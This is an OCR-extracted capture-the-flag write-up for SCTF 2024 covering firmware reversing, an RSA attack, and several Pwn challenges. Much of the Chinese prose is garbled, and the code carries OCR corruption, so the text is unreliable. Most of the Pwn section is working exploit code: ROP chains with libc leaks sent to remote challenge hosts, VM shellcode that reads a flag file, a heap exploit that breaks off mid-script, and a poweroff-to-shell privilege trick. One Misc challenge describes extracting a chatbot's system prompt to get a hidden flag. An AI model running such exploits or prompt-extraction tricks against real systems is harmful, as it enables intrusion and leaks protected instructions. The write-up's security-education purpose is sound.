USTC-Nebula SCTF-2024 WriteUp
HEtEREE

Y=

Misc

easyMCU
BTIRTFMENS, FEERYHEBOEE,

AP EAEOBFxcomisi A—&flagla, EHEOBFHRE T —LLEHE, WNExcom.jpgfim. K
flag



A HCOM V2B — O *

63 D4 DD 72 BO BC AE 31 8C 33 03 22 03 1C E4 D3 C3 E2 b4 B2 1D EB EB 8D 45 Bl BE 86 CD T
ES 93 DA
COMS: Silicon Labs CPZ2

4gER | 116200 v

FiEfr 1 =
iRl 8 v
falgfy  None b

SNRE @ A0

fFEED
@ 16#HHE TR0 TR
(J BTS O Bs®F
BRI 1000 ns

BREE SRRE HEE 2

PCB EIXKAFAM T, KEEMRZREFE:
o FEIRAELES: AURIX TC275 lite Kit
e MCU B2 : SAK-TC275TP-64F200W DB

ZA I KBTI RMBVER, FBIRERE 7 RRARY hex XIFAJ LIEEHE# IDA, Processor ik
TRICORE:



» Load a new fl\e X

Load file F:\_media_file_task 8ea3fbbe-c623-40fe-804c-a41a09c5f739\mcu.s19 as

Motorola S-record Format [hex64.dll]
Binary file

Processor type (double-click to set)

Texas Instruments TMS320C1X DSP tms320cix
Bl TMS320C28x series

Texas Instruments TMS320C28x TMS32028
Bl TMS320C3x Series

Texas Instruments TMS320C3X TMS320C3
Bl TMS320C54x Series

Texas Instruments TMS5320C54 TMS32054
Bl TMS320C55x Series

Texas Instruments TMS320C55 TMS32055
Ml TMS320C5x series

Texas Instruments TMS320C2x

Texas Instruments TMS320C5x
Ml TMS320C6 series

Texas Instruments TMS320C6x0m
B TRICORE series

Infineon TRICORE
Ml Tensilica Xtensa series

Tensilica Xtensa MCU
M Texas

Texas Instruments MSP430 msp430
W 730 processors

GameBoy gb

Hitachi HD64180 64180

Analysis

Kernel options 1 Kernel options 2  Kernel options 3
¥ Enabled

Loading segment x0000000000000000
Loading offset ~ x0000000000000000 & Indicator enabled Processor options

Options
Loading options v ate segments Load resources
Fill segment gaps e FLAT group ¥ Rename DLL entries
¥ Load as code segment Create jmports segment Manual load

Cre
Cre

OK Cancel Help

HEZEFEEMEBEOFE, A 115200 BURFRMREO, ERXX5|A:

PFLASH:8000384E ?? ?? .space 2
PFLASH: 80003850 2 ©0 00 00 ee ee6+qword_86ee3858 .dword 8x1C20@, ©xFP@3B500FOE00680, @x100066003, OxFEe3B5EOFEO0R600, Ox9000080003
PFLASH:8@ee385e 3 Fe 83 eo ee ee+

PFLASH: 80003850 06 @0 Fo ee B5+
PFLASH: 80003850 ©3 3 00 92 20 00 ee
P : 8 off_80003878 .word byte_Feoee6ee

SIRKFRIRMNERE vart_init , BERXXSIA, REXENNECE, BUHME R,

(w) https://github.com/Infineon/AURIX_code_examples/blob/master/code_exa--

AURIX_code_examples/code_examples/ASCLIN_UART_1_KiI
T_TC275_LK/Cpu0_Main.c at master - Infineon/AURIX_

This repository contains code example projects for the AURIX™ Development***



mcu_main:

call32 IfxSculdt_getCpulWatchdogPassword
mov1lée -

call32 IfxSculWdt_disableCpulatchdog
call32 IfxSculdt_getSafetyWatchdogPassword
movle -

call32 IfxSculWdt_disableSafetyWatchdog
movh.a , #exeeee

lea ,» [a4]ex24

call32 IfxCpu_emitEvent

movh.a , #exeeee

lea » [ad]ex24

mov16 , #1

call32 IfxCpu_waitEvent
call32 init_ASCLIN_UART
enable

jie loc_8800087A0

1

loc_860007A0:
j16 loc_8@eee79C

il =

loc_8080e79C:
call32 routine

7

H—TH, AJUFALEMENRBER, MERERR.
° 0x6000~? AFEFHREREE, H:

o 0x6000: g_count

o 0x6004: g_rxData

o 0x607C: g_txData

o 0x609C: g_ascHandle

O eeeees
1 #define TIME_INFINITE ((Ifx_TickTime)Ox7FFFFFFFFFFFFFFFLL)
2
3
4 void send_receive_ASCLIN_UART_message(void)
5 {
6 IfxAsclin_Asc_write(&g_ascHandle, g_txData, &g_count, TIME_INFINITE);
7 IfxAsclin_Asc_read(&g_ascHandle, g_rxData, &g_count, TIME_INFINITE);
8 }

— MR REE N2, FHSIBT TIME_INFINITE , stAJLUEME AU A UART RS, B
IR, ZWER, E6HIEKEN 32, aTURE UART B KRR, HEILHEIMZZEAL



=1
—RRIRMEZIZIE, K£EE R, KRUMLRESR, AMBELR—TBEARBIEA:

PFLAS 43 34 13 EA 3 .dword @x4E32EA133411B9AD

PFLASH: 80003948 0l+byte_8000394B .byte ©x63, ©X7C, ©x77, Ox7B, OxF2, OXx6B, @x6F, exC5, ox3e, 1, 7, ©x2B, OxFE, @xD7, ©xAB, ©x76, ©xCA
PFLASH: 80803948 7D+

PFLASH: 80003948 : 2 A4+

PFLASH: 88003948 36 3 cc+

PFLASH: 80003948 c7+

PFLASH: 80003948 23 2 88 E2+

PFLASH: 89803948 2 6E+

PFLASH: 80003948 23 3 3 2F 84+

PFLASH: 86003948 CB+

PFLASH: 80003948 : 3:

PFLASH: 88003948 ; 3c+

PFLASH: 80003948 2 F5+

PFLASH: 80003948 oc+

PFLASH: 89803948 4 2 3D+

PFLASH: 80003948 3 : 2A+

PFLASH: 88003948 ; : DB+

PFLASH: 80003948 3 : 24 D3+. by @x7D, OxFA, ©x59, ex47, @xFe, @xAD, @xD4, @xA2, OxAF, @x9C, @xAd, ex72, exCe, exB7
PFLASH: 88003948 : 6D+. by Bx26, Ox36, @x3F, @xF7, @xCC, @x34, BxA5, OxE5, OxF1, Ox71, OxD8, @x31, @x15, 4, exC7
PFLASH: 80003948 : 2 7A+.by ox18, Ox96, 5, @x9A, 7, @x12, @x88, OxE2, OxEB, @x27, @xB2, @x75, 9, @x83, @x2C, exlA
PFLASH: 80003948 4 C6+.by Ox5A, OxA@, @x52, ex3B, @ oxB3, 0x29, OxE3, Ox2F, Ox84, ©x53, OxD1, ©, OxED, ©x20
PFLASH: 89803948 : : 3E+. by @x5B, @x6A, @xCB, @xBE, @ @x4A, Ox4C, @x58, OxCF, @xD@, OxEF, @xAA, OxFB, @x43
PFLASH: 80003948 B9+. by ox85, Ox45, OxF9, 2, ex7F, @x5e, @x3C, Ox9F, OxA8, Ox51, OxA3, x40, ©x8F, @x92, ex9D
PFLASH: 88003948 D9+. by BxBC, @xB6, @xDA, @x21, @x1@, BxFF, OxF3, @xD2, OxCD, @xC, 8x13, 8xEC, 8x5F, 0x37
PFLASH: 80003948 DF+. by @xC4, OxA7, ©x7E, ex3D, @x64, @xsD, @x19, @x73, @x6@, @x8l, @x4F, exDC, ex22, ex2A
PFLASH: 80003948 ; 99+. by ox46, OXEE, OxB8, @x14, @xDE, OxSE, OxB, OxDB, OXE@, @x32, Ox3A, OxA, Ox49, 6, Ox24
PFLASH: 89803948 4 .by oxD3, OxAC, @x62, @x91, @x95, @xE4, 8x79, OxE7, @xC8, @x37, @x6D, x8D, @xD5, ex4E
PFLASH: 80003948 .by ox56, OxF4, OXEA, ©x65, ©x7A, OxAE, 8, OxBA, Ox78, Ox25, Ox2E, Ox1C, ©xA6, ©xB4, @xC6
PFLASH: 80803948 .by @x74, @x1F, @x4B, @xBD, @x8B, @x8A, @x70, Ox3E, @xB5, @x66, @x48, 3, @xF6, BxE, @x61
PFLASH: 80003948 .by @xB9, Ox86, @xCl, exiD, @x9E, @xEl, OxF8, @x98, @x1ll, @x69, @xD9, ©x8E, ex94, ex9B
PFLASH: 88003948 .by BXE9, OXCE, @x55, @x28, @xDF, 8x8C, OxAl, Ox89, OxD, @xBF, BxE6, 8x42, 8x68, Ox41
PFLASH: 80003948 .by oxF, exBe, ex54, @xBB, @x16

AESHIS &, BIRHMBLT, RBEFTEFLKER IV, FRIUIENZ AES-128-ECB.
F_EmME, B—TFCH, KMZERESR:

1 data[i]
2 datali]

((data[i] << 3) | (data[i] >> 5)) & Oxff
data[i] A data[i+1] * (Oxff)

1

2 from Crypto.Cipher import AES

3

4 flag = [0x63, OxD4, OxDD, 0x72, OxBO, Ox8C, OXAE, 0x31, 0x8C, 0x33, 0x03,
0x22, 0x03, Ox1C, OxE4, OxD3, OxC3, OxE3, Ox54, OxB2, 0x1D, OxEB, OxEB, 0x9D,
Ox45, OxBl, OxBE, 0x86, OxCD, OxE9, 0x93, 0xD8]

5 for i 1in range(31, -1, -1):

6 flag[i] 2= flag[(i + 1) % 0x20] ~ Oxff

7 flag[i] = (flag[i] >> 3) | (flag[i] << 5) & Oxff

8

9 key = bytes.fromhex("2E357D6AED44F34DADB9113413EA324E")

10 print(AES.new(key, mode = AES.MODE_ECB) .decrypt(bytes(flag)))

11

ERIRZRSCTFEIKISRIAYTS

E%



g—X: http://1.95.67.57:8028/
MANERINEE “Really?”

1 import requests

2 1import json

3 from string import printable

4

5 url = '"http://1.95.67.57:8000/check’
6

7 def check(payload) :

8 data = {

9 "input': payload

10 }

11 r = requests.post(url, json=data)
12 return r.text

13

14 flag = "'

15 for _ in range(50):

16 for i in printable:

17 payload = flag + i1

18 res = check(payload)

19 res = json.loads(res)
20 if res["message"] == "Really?":
21 continue
22 else:
23 print(payload, res)
24 flag += i
25 break
26
27 print(flag)
28
29 # HAHAHAy04 {'message': 'Congratulations, you got the key to the SCTF planet.

Let’s start the next journey: <a href="http://1.95.67.57:8502" style="color:
pink;">http://1.95.67.57:8502</a>"}

HAHAHAy04 {'message': 'Congratulations, you got the key to the SCTF planet. Let’ s start the
next journey: <a href="http://1.95.67.57:8502" style="color: pink;">http://1.95.67.57:8502</a>'}


http://1.95.67.57:8028/
http://1.95.67.57:8502/
http://1.95.67.57:8502/

Do you want to go to the SCTF planet?

s HAHAHAY04

SCTF planet. Let’ s start the next journey: http://1.95.67.57:8502

EZ%: http://1.95.67.57:8502
BHEME


http://1.95.67.57:8502/

’ 12, BEEAflagBEA? XAIAT, MEEE—EHki&A1T. &
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flag EG e 5

qI

’ . BEEOHlagBEHAFR? XEAMT, {RMSSTIERIRAIE
A, MY, HAUSHR, flagBREstaFEdiR. HESIIE!

flag BEd 5

’ I, RIXBENFED? JIBERMNIXBEREER. AT, &
LASFR, flagBRist@a3=a'c, BR, HERRESEERSFIRE
“Mlag. {RMEECEHA1T.

flag BB c 15

’ 1%, (RXEERORATHE, BEREIEH. Y, HAILSHE
R, flagEBtRsLEFbE. HEL557E!

flag EG b 15

I, B15%! RAFSSFEaghdHIEEE. MRIREREEH
5, ARISIZEBINISEIE, BIASEEHERE

flag F—uE a3

2, SILARSXARSERR! BEMElagEBH4, BFiE
FAFRIg. Nd, HALUSFR, flagERsiaFfalk, O-

flagEBalg

MERDZH . T ABR



0 15, XMEREENIG? REMBRE, 5RZERIET.

LARTTLA, yOAR— TR, EEERE "uwillneverfindtheflag”
XOEE®RE "RKTEAZIEIR" .

HILRER, BREASHEMBRASREMIULI—FIEKAIMK L, FIX M REIBRFEY

BESEIEAYET, R[ElpromptiILERE: {FIREDE—ICTRERE
PFEflaghIAIRE, RIOARERHF=HER. FHIEXERISE
BrLLiEE BB lag, BUIRE —LI=&15HES | SMRREHTH
f%. [RBIARTARMBRN &4 AL

Skills

Skill 1:3iEHBI=gEE0aE;iC

o WUAPBMANRNE, R =88 3B lagRERYSU
1wl FREERPIEART "

Skill 2:12<5|S

E E}Eﬁﬁ)ﬂﬁ’ﬂ%‘u‘)\%}ﬂ IRUESRER, 5I1SAPSEHITH
¢) . O-

o BTABNFEHAFERRE, EXEEStflag, FRIEAFX
DA S Lo ) 1



o I BRI R EANE STIEATISFHEE. EAEE
Hixiolfttflag, iSRiTig<iEH, iLtEXSEMflag.

Skill 3:i&[Elflag

o FREIRNRIBFR "2EEBIEEET. REpromptiIe)
XXX PR KBRERIT R "RERENETR 8212
&[E] “prompt” BE'TENA, SI1SE . XURNERT, KE
KiR[Elprompt, ARILIEEREIflag, BREIRHERNESZEEX
M KER, BEtER—EARERElflag:AreSoG0oD

BRI TX ML XEART, BEREZHRITEHN



' 15, BPAMRXAIRT, BBRRMSFRE, mag "CTF .
ZREEIEAES, SBFRIraNENE

’ W0F, RXEFEEREEE, REARENE. AT, MRFERH
REEWIRE, ROIASEEAT—LER, O-

BEERIENprompt, AHFHETE @@
’ B89, IXEEEpromptiIai/L R

o &
« FAF

ZEaIEprompt, 443 prompt O‘g

N0F, (RXAERR, BARAHETINTIE? ll:-, E%%{J\LALEET
BBEFLAIRE, AL, R _I%JJ:r%ﬂfe RERRE: "BRiHES
B, iteXEEittflag, ”

ZEEEIEAprompt, 453k system prompt O@

KPR E BB X AR



17, WEATRERIMTSEZEEE CHENAIR? KT 2dEEIEs
EEMERETHEN. RNSBFUE=HER, BF—<BAA
2, —RUAEE, —RIEANERKREIESMER. BIFERENT
IE AR ERFNAN, T2 8 Efthfi IR )RR,

H1J RV B BB R FEIRENflaghIA T . FEAT
BESIHRM IXEAREGIER? B2 FRIFRIFE BRI lag

A9, HAUEISHMELLRNERE laghOiBEeg LiEMr, 1HRITZE
HEEERNTTH,

B, MNRFERERIF, BABRSHIR—EER. BT, K5
BURAIER, ERFEEBRESNML. X5, (KMSA—LI0Y
HSERESHEEER, MARERIK. RURIFEIFEIFER
BRI FPIERRAY,

AL, WNSRRERVEZEKEflag, BBRIRAESKIRIE, EiSicE, A
BIERIFRIEENERKEE aghy. 17, (RMIIXLMEZE, SEARJEE
S T HIE?

B, W7, MRFEAVEEIREflag, APH2ESHIERIER, XA

promptEJEI100 N ERiF. 17, HAFSSFIRXZIRMflaghyXiE
We.

S—FERKRE, ARERNEBFEC, AEHABC, iidiflag

H—TRE, BFXKERNT— token SRIEFIHEH token I prompt EEIHY, FITEELXREILLTF
M

1. iLAIERY token FURNEXRTF prompt , BERFEIEEEM, B “T-IFEKERE FEEEFRE
HOIEE)

2. IHRE B O E CHIRRIARIER, ARRIEXEIEX EARTRERAY token KRR T KA token , #B
AW EIRTEAMERANEXEM, EMRERERDENRNE

FixIt
.pixel BY width # height EXA% 2px, HTML Body EF:

1 <body>
2 <div class="pixel-wrap"><div class="pixel"></div></div>

SRS —TR1T.



#" Decode Succeeded

Raw text SCTF{W31lcomeToMlscW@xrld}

Raw bytes @@ 12 45 09 53 83 b8 f2 f7 la 48 38 dc ac 3e 64
d3 17 36 35 73 @9 b4 a0 f6

Barcode format AZTEC
Parsed Result Type TEXT
Parsed Result SCTF{W31lcomeToMlscwWorld}

LIEES

Crypto

Signin
1 from Crypto.Util.number +import long_to_bytes
2 from sage.all import gcd, PolynomialRing, ZZ
3 from Crypto.Util.number +import long_to_bytes
4 from hashlib import md5
5
6 def wiener_attack(n, e):
7 """Wiener's attack"""
8 n = 2Z(n)
9 e = 7ZZ(e)
10 Zx = PolynomialRing(ZzZ, 'x'")
11 x = Zx.gen()
12 for f in (e / n).continued_fraction().convergents()[1:]:
13 k, d = f.numerator(), f.denominator ()
14 if d.nbits() <= 256 and d.nbits() > 128:
15 phi = (e xd - 1) // k
16
17
18
19 f = phi * x *x*x 2 = (Nx*2 + N * X + x**2) * (x**2 + x + 1)
20 roots = f.roots()
21 if roots:
22 p, q = roots[0][0], roots[1][0]
23 if pxq ==
24 print("[+] Found p and q")
25 print(f'p = {p}"')
26 print(f'qg = {q}"')



27
28
29

30

31
32
33
34
35

Pwn

return p, q

N =
3226142147821384605571267096650248920475532817011545504653835116475110461967110
2517649635534043658087736634695616391757439732095084483689790126957681118278054
5878939725472300815146879414765048465733462323493965287940229028494024621407208
82761797608629678538971832857107919821058604542569600500431547986211951

@ =
3344508171322138896999163013320766769078074957383017433675325513412595545974555
3278763274652280606341319405758399885866964141354946920580351003262343205727457
4904024415310727712701532706683404590321555542304471243731711502894688623443411
5227428371783841573506523361339578397791842782839849646169213110209655405139880
5916384230028480974792718858598277836579855895961178524876707516946449569109281
6641600277394649073668575637386621433598176627864284154484501969887686377152288
2968382589302936149420206559167017995319713071714239746513941567802698306310299
15305188230547099840604668445612429756706738202411074392821840

p, g = wiener_attack(Nxx2, e)

bp = long_to_bytes(int(p))

FLAG = 'SCTF{'+md5(bp).hexdigest()+'}"'
print(FLAG)

kno_puts
FREBHRERE TR

O 0 N O b W N

=
(o]

cd sbin

rm poweroff

cat << EOF > ./poweroff ; chmod +x ./poweroff
#!/bin/sh

/bin/sh

EOF

exit

SCTF{Oh_As_yOu_KOw0_sOmtlmes_th0_kaslr_ls_a_JOke!!!}

factory



RIETFIRE, EEAEEEHHElIbc one_gadget5EE

alloca ¥ #HEHRZEFRRADY, BIFREAENIHERDN inte4 E8HY, K/NEE 0x28 4HiF, KM
MR EIHEFHIERILUEE 11D int64 6

SHARERENZE i BlABkdcanary

1 from pwn +import *

2 "dmport sys

3

4 dis_debug = 'debug' 1in sys.argv

5 ds_simple = 'simple' 1in sys.argv
6

7 context(os='linux', arch='amd64')
8 1if not dis_simple:

9 context.log_level = 'debug'
10

11 filename = './factory'

12 vuln = ELF(filename)
13 T1libc = ELF('./libc.so.6'")
14 +f ds_debug:

15 sh = process(filename)

16 # attach(sh)

17 input()

18 else:

19 sh = remote('1.95.81.93", 57777)
20

21 pop_rdi = 0x401563

22 pop_rsi_rl5 = 0x401561

23 ret = Ox401564

24 onegadget_off = 0xe3b04

25

26 puts_plt = 0x4010b0

27 func = 'atol'

28

29 sh.sendafter(b'build:"', str(0x28).encode())
30 for i 1in range(23):

31 sh.sendafter(b'=", str(28).encode())

32 sh.sendafter(b'30 ="', str(pop_rdi).encode())

33 sh.sendafter(b'31 ="', str(vuln.got[func]).encode())
34 sh.sendafter(b'32 =", str(puts_plt).encode())

35 sh.sendafter(b'33 ="', str(vuln.sym['main']).encode())
36 sh.sendafter(b'34 ="', str(vuln.sym['main']).encode())
37 sh.sendafter(b'35 ="', str(vuln.sym['main']).encode())
38 sh.sendafter(b'36 ="', str(vuln.sym['main']).encode())
39 sh.sendafter(b'37 ="', str(vuln.sym['main']).encode())

40 sh.sendafter(b'38 =', str(vuln.sym['main']).encode())



41 sh.sendafter(b'39 =', str(vuln.sym['main']).encode())
42 sh.sendafter(b'40 =', str(vuln.sym['main']).encode())
43

44 sh.recvuntil(b'are:"')

45 sh.recvuntil(b'\n')

46 func_addr = u64(sh.recvuntil(b'\nHow', drop=True).ljust(8, b'\0"))
47 success('func_addr = ' + hex(func_addr))

48 Tlibc_base = func_addr - libc.sym[func]

49 Hdinfo('libc_base = ' + hex(libc_base))

50

51 sh.sendafter(b'build:', str(0x28).encode())

52 for i 1in range(23):

53 sh.sendafter(b'=", str(28).encode())

54 sh.sendafter(b'30 ="', str(pop_rsi_rl5).encode())

55 sh.sendafter(b'31 ="', str(0).encode())

56 sh.sendafter(b'32 ="', str(0).encode())

57 sh.sendafter(b'33 =', str(libc_base + onegadget_off).encode())
58 sh.sendafter(b'34 ="', str(vuln.sym['main']).encode())
59 sh.sendafter(b'35 ="', str(vuln.sym['main']).encode())
60 sh.sendafter(b'36 ="', str(vuln.sym['main']).encode())
61 sh.sendafter(b'37 ="', str(vuln.sym['main']).encode())
62 sh.sendafter(b'38 ="', str(vuln.sym['main']).encode())
63 sh.sendafter(b'39 ="', str(vuln.sym['main']).encode())
64 sh.sendafter(b'40 ="', str(vuln.sym['main']).encode())
65

66 sh.interactive()
67 sh.close()

vmcode
Hseccomp, FAFORWHexit, FEZETvm

U EIpEZ =N

1 #!/usr/bin/env python3

2

3 def vm_dis(codes):

4 pc = 0

5 while pc < len(codes):

6 print('0x%04x: ' % pc, end='")
7 op = codes|[pc]

8 pc += 1

9 if op == Ox21:
10 offset = 1int.from_bytes(codes[pc: pc + 2], 'little")
11 pc += 2

12 print('call Ox04%x' % (offset + pc & Oxffff))



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

57

elif op ==

print('ret')

elif op ==

print('xor")

elif op ==

print('swap2')

elif op ==

print('swapl')

elif op ==
value =
pc += 4

print('push 0x%x' % value)

elif op ==

print('and8 ff')

elif op ==

print('pop")

elif op ==

print('shr8 8')

elif op ==

print('dup')

elif op ==

print('shl8 8')

elif op ==
offset
pc += 2

print('jnz 0x%04x' % (offset + pc & Oxffff))

elif op ==

print('ror8")

elif op ==

print('rol8'")

elif op ==

print('and8")

elif op ==

print('syscall4 # pop rax, rdi, rsi, rdx; syscall; push rax')

elif op ==

print('push rsp # pointer to stack last value')

elif op ==

print('push pc # pointer to next pc')

elif op ==

print('exit')

else:

print('nop')

bytes.fromhex('266c636f642b2b2b2b267368656c233126653a200025260b0000002526010000
0026010000003028282826500000003226T100000023260000000026000000003033 ")
vm_dis(codes)

int.from_bytes(codes[pc: pc + 4], 'little')

int.from_bytes(codes[pc: pc + 2], 'little'")



58

59

60

61 ''"'

62 0x0000: push 0x646f636¢C

63 0x0005: shl8 8

64 0x0006: shl8 8

65 0x0007: shl8 8

66 0x0008: shl8 8

67 0Ox0009: push 0x6c656873

68 0Ox000e: xor

69 0x000f: push rsp # pointer to stack last value
70 0x0010: push 0x203a65

71 0Ox0015: swapl

72 0x0016: push 0xb

73 0x001b: swapl

74 0x001c: push 0x1

75 0x0021: push 0x1

76 0x0026: syscall4 # pop rax, rdi, rsi, rdx; syscall; push rax
77 # syscall(l, 1, "shellcode: ", 11)

78 0Ox0027: pop

79 0Ox0028: pop

80 0Ox0029: pop

81 0x002a: push 0x50

82 0x002f: push pc # pointer to next pc

83 0x0030: push 0xf1l

84 0x0035: xor

85 # (0x4040 + 0x30) A Oxfl = (Ox4040 + Ox31)
86 0x0036: push 0Ox0

87 0x003b: push 0x0

88 0x0040: syscall4 # pop rax, rdi, rsi, rdx; syscall; push rax
89 # syscall(@, 0, code + 0x41, 0x50)

90 0x0041: exit

91 '
exp.

1

2 def xor(v=None):

3 if v == None:

4 return b'\x23'

5 else:

6 return push_dword(v) + b'\x23'
-

8 def swap2():



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

def

def

def

def

def

def

def

def

def

def

def

return

swapl():
return

b'\x24'

b'\x25'

push_dword(v) :
assert 0 <= v < (1 << 32)
return b'\x26' + v.to_bytes(4,

pop():
return

dup():
return

sh18(n):
assert

return

syscall():
return

push_sp():
return

push_pc():
return

halt():

return

pusho () :
return

b'\x28'

b'\x2a'

n == 32
b'\x2b'

b'\x30'

b'\x31'

b'\x32'

b'\x33'

dup() +

push_string(s):

before:

after:

Loool

* 4

dup() + xor()

[pointer, ...]

s += b'\x00' x (8 - len(s) % 8)
payload = b''

for i in range(0, len(s), 8):

vl = int.from_bytes(s[i + 0: i + 4],
vO = int.from_bytes(s[i + 4: i + 8],
if vo = 0:

"little')

"little')
"little')

payload += push_dword(v0) + shl8(32)

if vl != 0:



56 payload += xor(vl)

57 else:

58 pass

59 elif vl != 0:

60 payload += push_dword(vl)

61 else:

62 payload += pusho()

63

64 if 4 ==

65 payload += push_sp()

66 else:

67 payload += swapl()

68 return payload

69

70 def open(s):

71 et

72 before: [...]

73 after: [fd, ...]

74 L

75 return push_string(s) + push@() + dup() + swap2() + push_dword(2) +
syscall()

76

77 def read():

78 et

79 before: [fd, ...]

80 after: [pointer, size, ...]

81 et

82 return push_sp() + xor(0x800) + dup() + swap2() + push_dword(0x200) +
swap2() + swapl() + push@() + syscall() + swapl()

83

84 def write():

85 et

86 before: [pointer, size, ...]

87 after: [...]

88 tr

89 return push_dword(1l) + dup() + syscall()

90

91 payload = open(b'./flag') + read() + write() + halt()

92 assert len(payload) < 0x50

93

94 from pwn import *

95

96 # p = process('./pwn')

97 p = remote('1.95.68.23"', 58924)

98 # input()

99 p.send(payload)

100 p.interactive()



101
102

c_or_go
BT EYME, TENEBREREIda, B goAHERRD, —BF—8k, gol.13, FALEhRE,
WEBEEEXAZMA, MR eEmAida.0NNET .

TNV NYESE, ZRIBERRAN—1TjsonAZFMT, F2[ImainTaskForm, ZEEENFIRA
mainTask (UserNameflIContent&Fidbase64f2i3135) , FHiRiETaskTypen ik iz =48, HiF
FIEESTEREEE, BXLEIHE:

TaskType:

-1: check_key(UserName) :
assert strcmp(UserName, "%v'".format(&puts)) == 0
exec(["sh", "-c", "echo %s" % Content])

0: new_user (UserName, Content, Size)

1: show_user (UserName)

~N oo b~ WN

2: delete_user (UserName)

BirREH, MEEZlibcititEAcheck_keyMa<iEN,
EEBAII, BRT check_keyZ21EgoLIMAY, FIN=NERECEKIH, cENEIELELE

1 struct User {

2 char name[256];

3 char* content;

4 int dinuse;

5 int content_size;

6 };

-

8 Userx user_control[12];

user_control @ EEF BN BB T, B 120k callocT, ABAUser.nameftZERH, B
5&&@???9; ﬁBQL\E%MCOHtent—F¥To

new_userd i content mallocsizeH R EstrlenBEIHY, MERENNE=1SHsize, MXPESH
ELoLEMAEER, thERAjsontEEN, MAREZEMWCContentkE, HEEAXZEMNLLIR, FrLAA]
PUSIN—MERContentf1KEYSize, new_userBIFEAI LU ContentEEMIARFAMEL K, FidgoR
XISizefRHI/NFOx70, FLACHISEER UserName, Content I8 EBR@E T clImalloct)ZER, FrLAA]
LU EEE, (BEEXLIE S Efree. FTUIMER 7 — M ZIREFAIE, delete_userPEEfreelz
Content/F/B%,



MRRABEEMITH, FEXE/|ERIZERMEElIbc, XEEENE, TEDEBTIER, BER
W, ERHT —BRYRBEIENFRER, EUELXIREREEFEFBINBAZGSreload—k,
reload BIRHIR(E, FFrGinuseMcontentEBfreet®, (BREEAETIEH Minuse; MERDE T —1MIK
KEVER, 7EOX100HRT freedIithslt, BRIXMkfreets, HMRBET, FTEA LEHIH VG MRE
N ME LR, HEEo = thER,

ARFE, BRI THENRM, goEXRIMENZHIEN, HEEBREMM. newprocH A2 EHE
BIR—MTEAE, MEMLEBFDE—, HERITEREARHER. MelibcNEFEEERSIMAIE
JRILRY, RIFEREMAMT o

BTRA, RERUE—HDAF, AEMK&reload, Bir@E—MREHdireload iz HH—
R, ARRESEHNRANRTIEEEZKRENENE, edd LEETIRRE,

from pwn import *
import base64
import json

import time

TaskType:

© o N o 0~ W N R

-1: check_key(UserName) :

=
(O]

assert strcmp(UserName, "%v'".format(&puts)) == 0

=
=

exec(["sh", "-c", "echo %s" % Content])

[
N

0: new_user (UserName, Content, size)

13 1: show_user (UserName)

14 2: delete_user (UserName)

15 ''!

16

17 def new_user(name, size, content=None):

18 assert size < Ox70

19 if content == None:

20 content = 'AA=='

21 else:

22 content = base64.b64encode(content) .decode()
23

24 p.recvuntil(b'Please 1input your tasks\n')

25 p.sendline(json.dumps([{

26 "task_type': 0,

27 '"username': base64.b64encode(name + b'\x00').decode(),
28 'content': content,

29 'size': size,

30 }1) .encode())

31 p.recvuntil(b'All task have been completed\n')
32

w
w

def new_users(names, size, content=None):



34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

def

def

def

assert size < 0x70
if content == None:
'AA=="

content
else:

content = base64.b64encode(content) .decode()

data = []
for name in names:
data.append({
'task_type': 0,

"username': base64.b64encode(name + b'\x00').decode(),

'content': content,
'size': size,

D)

p.recvuntil(b'Please 1input your tasks\n')
p.sendline(json.dumps(data) .encode())

p.recvuntil(b'All task have been completed\n')

show_user (name) :
p.recvuntil(b'Please 1input your tasks\n')
p.sendline(json.dumps([{

"task_type': 1,

"username': base64.b64encode(name + b'\x00').decode()

}1) .encode())
p.recvuntil(b'user')
line = p.recvline(keepends=False) # b':\n\n')
if line == b' 1is not exits':
content = b'"'
else:
assert line == b' content:'

assert p.recvline() == b'\n'

content = p.recvuntil(b'show user content success\n', drop=True)

p.recvuntil(b'All task have been completed\n')

return content

delete_user(name) :
p.recvuntil(b'Please 1input your tasks\n')
p.sendline(json.dumps ([{

"task_type': 2,

'"username': base64.b64encode(name + b'\x00'"').decode()

}1) .encode())
p.recvuntil(b'All task have been completed\n')

delete_users(names) :
data = []
for name in names:



81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117

118

119
120
121
122
123
124
125

data.append({
"task_type': 2,
"username': base64.b64encode(name + b'\x00'").decode(),

i)

p.recvuntil(b'Please input your tasks\n')
p.sendline(json.dumps(data).encode())
p.recvuntil(b'All task have been completed\n')

def check_key(addr, cmd):

p.recvuntil(b'Please 1input your tasks\n')

p.sendline(json.dumps ([{
'task_type': -1,
'"username': base64.b64encode(hex(addr).encode() + b'\x00").decode(),
"content': base64.b64encode(b'hello;%s' % cmd).decode(),
'size': 0Ox60,

}]1) .encode())

# p.recvuntil (b'All task have been completed\n')

reloaded = False
def reload():
global reloaded
assert not reloaded
reloaded = True
p.recvuntil(b'Please 1input your tasks\n')
p.sendline(b'?")
time.sleep(0.1)

libc = ELF('./libc-2.31.s0', checksec=False)

free_addr = libc.sym['free']
puts_addr = libc.sym['puts']
# p = remote('1.95.70.149', 80)

p = process("./c_or_go")

context.log_level = 'debug'

# gdb.attach(p.pid, gdbscript='set disassembly-flavor intel\ndisplay/i Spc\nb
*Ox4d8d8a\nc")

# gdb.attach(p.pid, gdbscript='set disassembly-flavor intel\ndisplay/i Spc\nb
*Ox4d96a4\nc')

# check_key(0, b'ls')

# input()
init_job_count = 6

new_users([chr(0x61 + i).encode() for i in range(init_job_count)], 0x28)

# new_users([b'a' for 1 in range(init_job_count)], 0x28)



126 # for 7 in range(init_job_count):

127 # new_user(b'a', 0x28)

128

129 reload()

130 # input()

131 # delete_users([chr(0x61 + 1).encode() for 1 in range(init_job_count)])
132 # for i in range(init_job_count):

133 # delete_user(chr(0x61 + 17).encode())
134 # delete_user(b'a')
135

136 job_count = 6
137 found = False
138 for _ 1in range(4):

139 new_users([b'b' for i 1in range(job_count)], 0x68, b'\x00' * 0x10 + b'A' *
0x10)

140 for i in range(job_count):

141 dump = show_user(b'b")

